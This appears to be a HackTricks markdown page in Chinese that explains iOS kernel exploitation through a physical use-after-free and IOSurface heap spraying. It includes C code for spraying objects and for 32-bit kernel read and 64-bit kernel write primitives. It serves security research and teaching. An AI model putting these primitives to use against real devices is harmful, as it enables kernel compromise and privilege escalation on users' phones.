hacktricks/src/binary-exploitation/ios-exploiting.md

208 lines
8.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## 物理使用后释放
这是来自[https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html)的帖子摘要,此外关于使用此技术的漏洞的更多信息可以在[https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)中找到。
### XNU中的内存管理 <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
iOS上用户进程的**虚拟内存地址空间**范围从**0x0到0x8000000000**。然而,这些地址并不直接映射到物理内存。相反,**内核**使用**页表**将虚拟地址转换为实际的**物理地址**。
#### iOS中的页表级别
页表分为三个层次进行分层组织:
1. **L1页表第1级**
* 这里的每个条目表示一个大范围的虚拟内存。
* 它覆盖**0x1000000000字节**(或**256 GB**)的虚拟内存。
2. **L2页表第2级**
* 这里的一个条目表示一个较小的虚拟内存区域,具体为**0x2000000字节**32 MB
* 如果L1条目无法映射整个区域它可能指向L2表。
3. **L3页表第3级**
* 这是最细的级别,每个条目映射一个单独的**4 KB**内存页。
* 如果需要更细粒度的控制L2条目可能指向L3表。
#### 虚拟到物理内存的映射
* **直接映射(块映射)**
* 页表中的某些条目直接**将一系列虚拟地址**映射到一系列连续的物理地址(如快捷方式)。
* **指向子页表的指针**
* 如果需要更细的控制一个级别中的条目例如L1可以指向下一个级别的**子页表**例如L2
#### 示例:映射虚拟地址
假设你尝试访问虚拟地址**0x1000000000**
1. **L1表**
* 内核检查与此虚拟地址对应的L1页表条目。如果它有指向L2页表的**指针**则转到该L2表。
2. **L2表**
* 内核检查L2页表以获取更详细的映射。如果此条目指向**L3页表**,则继续前往。
3. **L3表**
* 内核查找最终的L3条目该条目指向实际内存页的**物理地址**。
#### 地址映射示例
如果你将物理地址**0x800004000**写入L2表的第一个索引
* 从**0x1000000000**到**0x1002000000**的虚拟地址映射到从**0x800004000**到**0x802004000**的物理地址。
* 这是L2级别的**块映射**。
或者如果L2条目指向L3表
* 虚拟地址范围**0x1000000000 -> 0x1002000000**中的每个4 KB页面将由L3表中的单独条目映射。
### 物理使用后释放
**物理使用后释放**UAF发生在
1. 进程**分配**一些内存为**可读和可写**。
2. **页表**被更新以将此内存映射到进程可以访问的特定物理地址。
3. 进程**释放**(释放)内存。
4. 然而,由于**错误**,内核**忘记从页表中删除映射**,尽管它将相应的物理内存标记为可用。
5. 内核随后可以**重新分配这块“释放”的物理内存**用于其他目的,如**内核数据**。
6. 由于映射未被删除,进程仍然可以**读写**这块物理内存。
这意味着进程可以访问**内核内存的页面**,这些页面可能包含敏感数据或结构,可能允许攻击者**操纵内核内存**。
### 利用策略:堆喷射
由于攻击者无法控制哪些特定的内核页面将分配给释放的内存,他们使用一种称为**堆喷射**的技术:
1. 攻击者在内核内存中**创建大量IOSurface对象**。
2. 每个IOSurface对象在其字段中包含一个**魔法值**,便于识别。
3. 他们**扫描释放的页面**查看这些IOSurface对象是否落在释放的页面上。
4. 当他们在释放的页面上找到一个IOSurface对象时他们可以用它来**读写内核内存**。
关于此的更多信息请参见[https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)。
### 步骤堆喷射过程
1. **喷射IOSurface对象**攻击者创建许多带有特殊标识符“魔法值”的IOSurface对象。
2. **扫描释放的页面**:他们检查是否有任何对象已分配在释放的页面上。
3. **读/写内核内存**通过操纵IOSurface对象中的字段他们获得在内核内存中执行**任意读写**的能力。这使他们能够:
* 使用一个字段**读取内核内存中的任何32位值**。
* 使用另一个字段**写入64位值**,实现稳定的**内核读/写原语**。
生成带有魔法值IOSURFACE_MAGIC的IOSurface对象以便后续搜索
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
在一个已释放的物理页面中搜索 **`IOSurface`** 对象:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Achieving Kernel Read/Write with IOSurface
在内核内存中控制一个 IOSurface 对象(映射到一个可以从用户空间访问的已释放物理页面)后,我们可以利用它进行 **任意内核读写操作**
**IOSurface 中的关键字段**
IOSurface 对象有两个关键字段:
1. **使用计数指针**:允许进行 **32 位读取**
2. **索引时间戳指针**:允许进行 **64 位写入**
通过覆盖这些指针,我们将它们重定向到内核内存中的任意地址,从而启用读/写功能。
#### 32 位内核读取
要执行读取:
1.**使用计数指针** 覆盖为指向目标地址减去 0x14 字节的偏移量。
2. 使用 `get_use_count` 方法读取该地址的值。
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64位内核写入
要执行写入:
1. 将**索引时间戳指针**覆盖到目标地址。
2. 使用`set_indexed_timestamp`方法写入64位值。
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### 漏洞利用流程回顾
1. **触发物理使用后释放**: 可重用的空闲页面。
2. **喷射IOSurface对象**: 在内核内存中分配许多具有唯一“魔法值”的IOSurface对象。
3. **识别可访问的IOSurface**: 找到一个在你控制的已释放页面上的IOSurface。
4. **滥用使用后释放**: 修改IOSurface对象中的指针以通过IOSurface方法启用任意**内核读/写**。
通过这些原语,漏洞利用提供了对内核内存的受控**32位读取**和**64位写入**。进一步的越狱步骤可能涉及更稳定的读/写原语这可能需要绕过额外的保护例如在较新的arm64e设备上的PPL
{{#include ../banners/hacktricks-training.md}}